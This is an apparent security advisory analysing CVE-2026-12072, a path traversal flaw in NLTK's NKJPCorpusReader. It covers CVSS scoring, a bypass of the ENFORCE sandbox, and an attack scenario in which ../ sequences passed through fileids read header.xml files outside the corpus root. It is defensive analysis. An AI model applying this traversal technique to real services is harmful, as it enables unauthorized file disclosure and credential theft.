NLTK NKJPCorpusReader CVE-2026-12072

Exploitation requires that the target application pass attacker-influenced values to the fileids argument of NKJPCorpusReader read methods (header, raw, words, sents, tagged_words). This is a necessary application-layer precondition: installing NLTK alone does not expose the vulnerability. The CVSS PR:N reflects the library-layer assumption that no NLTK-level authentication gate exists once the code path is reached, but the realistic attack surface depends on whether the application itself authenticates users before allowing corpus selection. For header(), exploitation yields direct content disclosure of files named header.xml in any attacker-chosen directory. For raw()/words()/sents(), a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) currently suppresses the return value on modern Python, so those modes result in arbitrary file open/read without content disclosure for now. Critically, the ENFORCE=True sandbox setting does NOT limit exploitation in any way - defenders relying on it as a control for this reader are unprotected.

The NVD-assigned CVSS of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) reflects the maximum-impact scenario where a web or multi-tenant application passes user-controlled input directly to NKJPCorpusReader - precisely the deployment pattern NLTK's SECURITY.md targets. The most critical aggravating factor is the sandbox bypass: defenders who followed NLTK's documented security hardening and set ENFORCE=True receive false assurance - the control is inoperative for this reader, leaving them exposed without indication. Once attacker-controlled input reaches the fileids parameter, the traversal is technically trivial (a simple ../ sequence suffices), justifying AC:L. No EPSS data was provided in the intelligence sources, and this CVE is absent from the CISA KEV catalog, indicating no confirmed widespread active exploitation at time of analysis. However, a fully functional, step-by-step PoC is public and confirmed against nltk 3.9.4, which substantially lowers the barrier for any threat actor targeting exposed NLP services. Risk is concentrated in organizations running NLP web services or multi-tenant platforms using NLTK for Polish-language corpus processing where corpus selection is exposed to end users - a niche but real deployment pattern.

An attacker interacting with an NLP web service backed by NLTK submits a crafted corpus identifier - such as a value containing repeated ../ sequences followed by an absolute path - through any user-facing input the application forwards to NKJPCorpusReader. Calling reader.header(fileids=[evil_path]) causes NLTK to open, parse, and return the content of the target file outside the corpus root, disclosing secrets such as API keys stored in files named header.xml anywhere on the host filesystem. The public PoC demonstrates extraction of a simulated credential from outside the corpus root against NLTK 3.9.4 with ENFORCE=True active and confirms no PermissionError is raised.